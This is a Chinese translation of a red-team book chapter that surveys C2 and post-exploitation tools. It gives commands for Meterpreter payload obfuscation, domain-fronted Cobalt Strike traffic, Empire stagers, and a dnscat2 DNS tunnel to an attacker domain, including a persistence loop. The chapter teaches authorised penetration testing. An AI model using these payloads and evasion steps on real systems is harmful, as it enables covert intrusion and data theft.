红队的核心工具

红队可能会使用很多工具,但是让我们来讨论些最核心的工具。请记住,作为一个红队成员,我们的目的不是破坏环境(虽然这是最有趣的),而是要复制现实世界的攻击,以查看客户是否受到保护,并可以在很短的时间内检测到攻击。在前面的章节中,我们了解了如何从其他 APT 组织那里复制攻击者的概要文件和工具集,所以让我们回顾一下一些最常见的红队工具。

Metasploit 框架

本书不会像前几本书那样深入探讨 Metasploit。尽管 Metasploit 框架最初是从 2003 年开发的,但它现在仍然是一个非常棒的工具。这是由于最初的开发者 H.D. Moore 和非常活跃的社区为它提供持续支持。这个社区驱动的框架,似乎每天更新,拥有所有最新的公开漏洞的利用、后渗透利用模块、辅助模块等等。

对于红队项目,我们可能使用 Metasploit 通过MS17-010永恒之蓝漏洞危害内部系统,以获得我们的第一个内网 shell,或者我们可能使用 Metasploit 为我们的社会工程攻击生成一个 Meterpreter payload。

在后面的章节中,我将向你展示如何重新编译你的 Metasploit payload 并绕过杀毒软件和网络监控。

混淆 Meterpreter 的 Payload

如果我们正在针对目标进行一些社工尝试,我们可能会使用 Word 或 Excel 文档作为我们的 payload(攻击载荷)的载体。 但是,一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web 下载我们的 payload,因为这些操作可能会触发目标机器中的杀毒软件的警报。 所以,这里给出一个简单的解决方案,使用 PowerShell 进行模糊处理:

  1. msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1 LHOST=127.0.0.1

我们甚至可以将混淆提升到新的水平,并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload,我们将在本书中详细介绍这些混淆器。

红队的核心工具 - 图1

此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考以下链接实现:Meterpreter Paranoid Mode

最后,在本书的后面部分,我们将讨论如何重新编译利用 Metasploit/Meterpreter 来绕过基于主机和网络的检测工具。

Cobalt Strike

Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是 Cobalt Strike 呢?它是一种用来后期持久渗透,横向移动,流量隐藏、数据窃取的工具。 Cobalt Strike 并没有直接的漏洞利用,也没有通过最新的 0-Day 漏洞来破坏系统。当你已经在服务器上执行了 CS 的恶意代码或者将 CS 用作网络钓鱼活动的一部分时,你就能感受到 CS 的功能是多么广泛并且强大。 一旦你可以在机器上执行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)连接回连到 C2 服务器(teamserver)。

新的 Cobalt Strike 许可证的费用为3500美元(单用户一年),所以它并不是一个便宜工具。 不过该软件有免费的限量试用版。

Cobalt Strike 基础设施

正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你可以在这里找到更多的使用 socat 配置这些重定向器的信息:链接1 & 链接2

图片名称

为了使你更好的重定向,我们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的技术作为控制器重定向的技术集合(参考链接)。这可以通过使用流行的内容分发网络(CDNs)来实现,如亚马逊云的 CloudFront 或其他的 Google Hosts 来隐蔽我们的流量源。这在过去曾被不同的攻击者所利用过(参考链接)。

通过使用这些高信誉域名,无论 HTTP 或 HTTPS 的任何流量,看起来都像是它正在与这些域通信,而不是与我们的恶意 C2 服务器通信。这一切是如何运作的?用一个比较抽象的例子来说,你的所有流量将被发送到 CloudFront 的一个主要完全限定域名(FQDNs),例如 a0.awsstatic.com,它是 CloudFront 的主要域名。修改请求中的主机 header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到我们的 Cobalt Strike C2服务器上(参考链接)。

图片名称

通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过使用高信誉域名来隐藏 C2 服务器的流量。

另外两个支持域名前置的两个不同公司的优秀资源

  • CyberArk 还写了一篇很好的博客文章,在文章里他介绍了如何使用谷歌的应用产品来使你的流量看起来是流经了 www.google.com, mail.google.com 或者 docs.google.com.
  • Vincent Yiu 写了一篇关于如何使用阿里巴巴 CDN 来支持自己的域名前置攻击的文章
  • Cobalt Strike 不是唯一可以支持域名前置的工具,也可以通过 Meterpreter 来完成(参考链接)。

注:在本书出版时,AWS(甚至谷歌云)已经启动实现对域名前置的保护( https://amzn.to/2I6lSry )。这并不能阻止这种类型的攻击,只是需要不同的第三方资源来进行利用。

尽管不是基础架构的一部分,但是我们还是应该要理解 beacon 是如何在内部环境中工作的。在操作安全方面,我们应该避免建立会被轻易发现并清除的持久连接。作为一名红队成员,我们必须假设我们的一些客户端是会被蓝队发现的。如果我们让所有的主机都与一个或两个 C2 服务器通信,蓝队很容易就可以把整个基础设施连根拔除。幸运的是,Cobalt Strike 支持内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的计算机与你的 C2 服务器进行正常且合适的 beacon 连接,并使内部网络上的所有其他的服务器通过 SMB 协议与最初受感染的主机进行通信。采用这种连接方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次攻击相关的 C2 服务器域名。

Cobalt Strike 可以操纵你的 Beacon 通信,这对红队成员来说是一个非常有用的特性。使用自定义 C2 配置文件,你可以让所有来自受感染主机系统的流量看起来和普通流量无异。现在我们会发现越来越多的内网环境中会针对第7层网络应用层进行过滤。很多时候蓝队在这层中找寻那些网络通信中的异常流量,那么我们怎样才能让我们的C2通信变得如同正常的 Web 流量呢?这就是可定制 C2 配置文件发挥作用的地方。看看这个例子。阅读这个例子,你会看到一些显而易见的信息:

  • 我们可以看出这将会产生带有URI路径的HTTP请求:
  1. set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;
  • 主机 header 设置为 Amazon:
  1. header Host www.amazon.com”;
  • 甚至一些自定义服务器的 header 也从 C2 服务器发回:
  1. header x-amz-id-1 THKUYEZKCKPGY5T42PZT”;
  2. header x-amz-id-2 a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t

现在很多红队已经在许多不同的活动中使用了这些配置文件,许多安全厂商已经给所有常见的自定义配置文件创建了指纹签名。为了解决这个问题,我们能做的是: 确保修改了配置文件中的所有静态字符串,确保更改了所有 User-Agent 信息,使用真实的证书配置 SSL(不要使用 Cobalt Strike 默认的 SSL 证书),调整抖动率,并更改客户端的的 beacon 时间。 最后一个注意事项是确保通过 POST(http-post)命令进行通信,因为如果不这样做可能会导致使用自定义配置文件时出现很多问题。 如果你的配置文件注明了通过 http-get 进行通信,它仍然有效,但上传大文件将一直被限制。 请记住,GET 请求通常限制在2048个字符以内。

SpectorOps 安全团队还创建了可定制混淆 C2 配置文件的项目.

译者注: 这个脚本可以将 Cobalt Strike 的配置文件进行混淆来绕过一些基于签名检测的软件,其原理是将变量替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 配置文件。

Cobalt Strike 的 Aggressor 脚本

Cobalt Strike 项目有很多贡献者。Aggressor 脚本是一种面向红队操作和对手模拟的脚本语言,其灵感来源于可脚本化的 IRC 客户端和机器人。开发它的目的有两个:

  1. 你可以创建长时间运行的机器人来模拟虚拟红队成员,并与你并肩进行黑客攻击
  2. 你还可以根据你的需要使用它来扩展和修改 Cobalt Strike 客户端的功能 官方介绍页面:https://www.cobaltstrike.com/aggressor-script/index.html

例子:HarleyQu1nn 将不同的 Aggressor 脚本放在一个项目中提供给你用于后续漏洞利用: http://bit.ly/2qxIwPE

PowerShell Empire

Empire 是一个后期漏洞利用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的 Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 项目的合并。 该框架提供了加密安全通信和灵活的架构。在 PowerShell 方面,Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能。并且 Empire 有很多可以快速部署的后期漏洞利用模块,从键盘记录器到 Mimikatz。Empire 还可以调整通信,躲避网络检测。所有的这些功能都封装在一个以实用性为重点的 框架中。

对于红队人员来说,PowerShell 是我们最好的朋友之一。在初始化有效 payload 之后,所有随后的攻击都保存在内存中。Empire 最好的地方就是它被开发者积极地维护和更新中,以便你可以使用最新的后期漏洞利用模块进行攻击。 它们还具有适用于 Linux 和 OS X 的 C2 连接。因此,你仍然可以创建基于 MAC 的 Office 宏,当执行之后,在 Empire 中拥有一个全新的代理。

我们将通过本书更详细地介绍 Empire,以便你了解它的威力如何。在设置 Empire 方面,确保你已安全地配置它非常重要:

  • 将证书路径 CertPath 设置为一个真实可信的 SSL 证书。
  • 更改 DefaultProfile 端点。许多第7层防火墙都在寻找确切的静态端点。
  • 更改用于通信的用户代理。

在前两版书中我们提过,Metasploit 的源文件用于自动化,Empire 现在也支持自动运行的脚本,这样可以提高效率。

运行 Empire:

  • 初始化 Empire
  1. cd /opt/Empire && ./setup/reset.sh
  • 退出
  1. exit
  • 安装证书(最好是使用真实受信任的证书)
  1. ./setup/cert.sh
  • 开始运行 Empire
  1. ./empire
  • 创建一个监听器
  1. listeners
  • 选择你的监听器类型(我们实验使用的是 HTTP)
  1. uselistener [按两次 tab 键来查阅所有类型的监听器]
  2. uselistener http
  • 查看监听器的全部配置信息
  1. info
  • 设置以下内容(即设置KillDate 12/12/2020)
  1. KillDate - 规定一个结束时间然后自动清理代理
  2. DefaultProfile - 确保更改所有端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,例如/seriously/notmalware.php
  3. DefaultProfile - 确保也更改你的用户代理。 我一般是查看使用过的顶级用户代理并选择从中选择一个。
  4. Host - 更改为通过端口443 HTTPS
  5. CertPath - 添加 SSL 证书的路径
  6. UserAgent - 将其更改为你的常用用户代理
  7. Port - 设置为443
  8. ServerVersion - 将其更改为另一个常见的服务器 Header
  • 当你完成所有这些,开启你的监听器
  1. execute

图片名称

配置 Payload

payload 是将在受害者系统上运行的实际恶意软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但 Empire 以其基于 PowerShell Windows 的 Payload 而闻名:

  • 进入主菜单
  1. main
  • 为 OSX,Windows,Linux 创建可用的 stager。 我们将创建一个简单的 bat 文件作为示例,但实际上你可以为 Office 文件创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入工具)
  1. usestager [按两次tab键来查阅所有不同的类型]
  2. usestager windows/launcher_bat
  • 查看所有设置

    1. info
  • 配置所有 Settings

  1. http Listener 设置为 http
  2. 配置 UserAgent(用户代理)
  • 创建 Payload

    1. generate
  • 在另一个终端窗口中查看你的 payload

    1. cat /tmp/launcher.bat

图片名称

如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会创建一个 Office 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的 payload,但这只是众多示例中的一个。

如果你尚未在 Kali 图形界面上安装 PowerShell,那么最好的方法是手动安装它。 在 Kali 上安装 PowerShell:

  1. apt-get install libunwind8
  2. wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
  3. dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
  4. wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb
  5. dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb
  6. wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb
  7. dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb

dnscat2

内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2 由客户端和服务端两部分组成

基于 DNS 的 C2 服务器连接的渗透方案提供了一种很好的机制来隐藏你的流量,规避网络传感器并绕过网络限制。在许多限制性环境或生产环境中,我们遇到的网络要么直接不允许出站流量,要么流量也会被严格的限制或监控。为了绕过这些保护,我们可以使用像 dnscat2 这样的工具。我们关注 dnscat2 的原因是因为它不需要 root权限就允许shell访问和数据传输。

在许多安全环境中,直接使用 UDP 或 TCP 出站会受到限制。 为什么不利用基础架构中已经内置的服务呢?许多受保护的网络包含一个 DNS 服务器来解析内部主机,同时还允许解析外部资源。通过为我们拥有的恶意域名设置一个权威服务器,我们可以利用这些 DNS 解析来对我们的恶意软件进行命令执行和控制。

图片名称

在我们的场景中,我们将设置名为 “loca1host.com” 的攻击者域。 我们希望通过对 “localhost” 创建“分身”来更多地隐藏我们的流量。请你自行将 “loca1host.com” 替换为你拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使其成为一个权威 DNS 服务器(Authoritative DNS server)。 在这个例子中,我们将使用 GoDaddy 的 DNS 配置工具,但你也可以换成任何其他的 DNS 服务。

使用GoDaddy设置一个权威DNS服务器

  • 首先,确保将一台 VPS 服务器设置为你的 C2 攻击服务器并获取了该服务器的 IP。
  • 在 GoDaddy 网站购买域名后,登录你的 GoDaddy(或其他类似的)帐户。
  • 选择你的域,单击“管理”,然后选择“高级 DNS”。
  • 先设置两条 A 记录指向你的 VPS 的 IP
    1. ns1 (然后输入你的VPSIP)
    2. ns2 (然后输入你的VPSIP)
  • 然后设置自定义 NS 记录
    1. 添加 ns1.loca1host.com
    2. 添加 ns2.loca1host.com

红队的核心工具 - 图7

如上图所示,我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com,它们都指向我们的攻击 VPS 服务器的 IP。 如果你尝试解析 loca1host.com 的任何子域(即 vpn.loca1host.com),它将尝试使用我们的 VPS 进行相关的域名解析。对我们来说幸运的是,dnscat2 在 UDP 端口53上监听并为我们做了所有繁重的工作。

接下来,我们将需要完全设置充当我们的自定义域名解析服务器的攻击服务器。初始化并设置 dnscat2 服务器:

  1. sudo su -
  2. apt-get update
  3. apt-get install ruby-dev
  4. git clone https://github.com/iagox86/dnscat2.git
  5. cd dnscat2/server/
  6. apt-get install gcc make
  7. gem install bundler
  8. bundle install
  9. 请测试确认以下脚本能够正常运行: ruby ./dnscat2.rb
  10. 备注: 如果你使用的是 Amazon Lightsail,请确保安全组设置中允许 UDP 端口53

对于客户端的代码,我们需要将其编译为 Linux 支持执行的二进制文件。

编译客户端

  1. git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client
  2. cd /opt/dnscat2/client/
  3. make
  4. 我们现在应该创建一个 dnscat 二进制文件!
  5. (如果你在 windows 环境下编译,需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 build )

现在我们已经配置好了权威 DNS,我们的攻击服务器作为一个 DNS 服务器正在运行 dnscat2,并且我们已经编译了恶意软件。我们已经准备好在目标机器中执行我们的 payload。

在开始之前,我们需要在攻击服务器上启动 dnscat2。要启用多个配置,其中的主要配置是配置那个 -secret 标志来确保我们在 DNS 请求中的通信是加密的。另外,一定要更换我上面用于演示的 loca1host.com 域名,使用你自己拥有的域名并创建随机密钥字符串。

在你的攻击服务器中启用 dnscat2:

  1. screen
  2. ruby ./dnscat2.rb loca1host.com secret 39dfj3hdsfajh37e8c902j

假设你在易受攻击的服务器上有某种 RCE(远程命令执行漏洞)。 你可以运行 shell 命令并上传我们的 dnscat payload。执行 payload:

  1. ./dnscat loca1host.com secret 39dfj3hdsfajh37e8c902j

这将在目标机器中启动 dnscat,域名查询使用了我们自定义的的权威服务器,从而创建我们的 C2 通道。 我留意到一件事是有时 dnscat2 进程会莫名其妙挂掉。这可能来自大型文件传输或者只是程序崩了。为了规避这些类型的问题,我想确认我的 dnscat payload 有返回。为此,我通常喜欢使用快速 bash 脚本启动我的 dnscat payload:

  1. nohup /bin/bash -c while true; do /opt/dnscat2/client/dnscat loca1host.com -secret 9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done > /dev/null 2>&1 &

这将确保如果客户端 payload 进程因任何原因而挂掉了,它将每小时生成一个新的实例。有时你只有一次机会来运行你的 payload,那么你需要让程序自己计数! 最后,如果你要在 Windows 上跑这个 payload,你可以编译使用 dnscat2 payload……或者,为什么不在 PowerShell 中执行此操作呢?! Luke Baggett 写了一个关于 dnscat 客户端的 PowerShell 版本->点此查看

dnscat2的连接

在我们的 payload 执行并连接回我们的攻击服务器之后,我们应该看到类似于下面的一个新的ENCRYPTED AND VERIFIED消息。通过输入 “window”,dnscat2 将显示所有会话。现在,我们有一个名为“1”的单行命令会话。

红队的核心工具 - 图8

我们可以通过与我们的命令会话交互来生成终端样式 shell:

  • 与我们的第一个命令会话进行交互
    1. window -i 1
  • 启动shell会话
    1. shell
  • 回到主会话
    1. Ctrl-z
  • 与 2 会话进行交互
    1. window -i 2
  • 现在,你应该能够运行所有 shell 命令(例如 ls)

红队的核心工具 - 图9

虽然这不是最快的shell,但由于所有通信都是通过 DNS 进行的,因此它确实可以在一些 Meterpreter 或类似 shell 无法正常工作的情境下生效。 dnscat2 更好的地方是它完全支持搭建隧道。这样,如果我们想要使用来自我们的主机系统的漏洞利用模块,我们可以通过隧道和浏览器来访问其内部网站,甚至是 SSH 连接到另外的机器中,这一切都是可能的。

dnscat2 隧道

我们有很多时候想要将来自攻击服务器的流量通过我们的受感染主机传递到其他内部服务器。使用 dnscat2 执行此操作的最安全方法是通过本地端口转发我们的流量,然后将流量通过隧道传输到内部网络上的其他机器上。我们可以通过命令会话中的以下命令来完成此示例:

  1. listen 127.0.0.1:9999 10.100.100.1:22

创建隧道后,我们可以返回攻击计算机上的根终端窗口,通过本地的 9999 端口使用 SSH 连接到 localhost,然后成功连接到受害者网络上的内部系统并进行身份验证。

译者注:这里如果看不懂,可以看看这篇文章加深理解 -> 使用SSH反向隧道进行内网穿透

红队的核心工具 - 图10

这将提供各种各样的乐趣和一个很好的测试,来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。那么,请求和响应是什么样子的呢? 使用 Wireshark 快速抓包发现:dnscat2 为许多不同的长子域创建了大量不同的 DNS 请求。 红队的核心工具 - 图11

现在,你可能想要测试许多其他的协议。例如,Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhdnZ ),它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell,如:

p0wnedShell

正如 p0wnedShell 的 Github 页面所述,这个工具是“用 C# 编写的进攻型 PowerShell 主机应用程序,它不依赖于 powershell.exe,而是在 powershell 运行空间环境(.NET)中运行 powershell 命令和函数。它包含了大量的 PowerShell 攻击模块和二进制文件,使后期利用过程变得更加容易。我们尝试的是建立一个‘一体化’的后渗透利用工具,我们可以使用它来绕过所有保护措施(至少是其中一些),p0wnedShell 中包含了所有的相关工具。你可以利用 p0wnedShell 来在活动目录环境中执行现代化的攻击,并在你的蓝队中创建意识,以帮助他们构建正确的防御策略。”

Pupy Shell

Pupy 是“一个开源,跨平台(Windows,Linux,OSX,Android)的远程管理和后渗透利用工具,主要用python编写”。

Pupy 的一个非常棒的功能是,你可以在所有代理上运行 Python,而无需在所有主机上实际安装 Python。 因此,如果你尝试在自定义框架中编写大量攻击脚本,Pupy就是一个很合适的工具。

PoshC2

PoshC2 是一个代理感知型 C2 框架,完全用 PowerShell 编写,以帮助渗透测试人员进行红队合作,后渗透利用和横向移动。这些工具和模块是基于我们成功的 PowerShell 会话和 Metasploit 框架的 payload 类型的汇总。PowerShell 被选为基本语言,因为它提供了所需的所有功能和丰富的拓展特性,而无需向框架引入多种语言。

Merlin

Merlin 利用最近开发的名为 HTTP/2 (RFC7540) 的协议。 “HTTP/2 的通信是多路复用的双向连接,在一个请求和响应之后不会结束。 此外,HTTP/2 是一种二进制协议,因此它紧凑、易于解析,并且如果不借助解释器的话人是几乎读不懂的”(Russel Van Tuyl 2017)。

注:
此句话出处为:
Russel Van Tuyl, “Merlin - 跨平台后持续利用 HTTP/2 C2 工具”, Medium[Online], 发表于2017年12月19日, 可获取地址:
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
检索于 2019 年 2 月 27 日

Merlin 是一个用 GO 编写的工具,外观和感觉类似于 PowerShell Empire,并且允许使用轻量级代理。它不支持任何类型的后渗透利用模块,因此你必须自己完成模块的开发。

Nishang

Nishang 是一个脚本和 payload 的框架和集合,可以使用 PowerShell 进行进攻型安全测试,渗透测试和红队测试。 Nishang 在渗透测试的所有阶段都很有用。

虽然 Nishang 实际上是一系列令人惊叹的 PowerShell 脚本的集合,但也包含一些轻量级的 C2 脚本。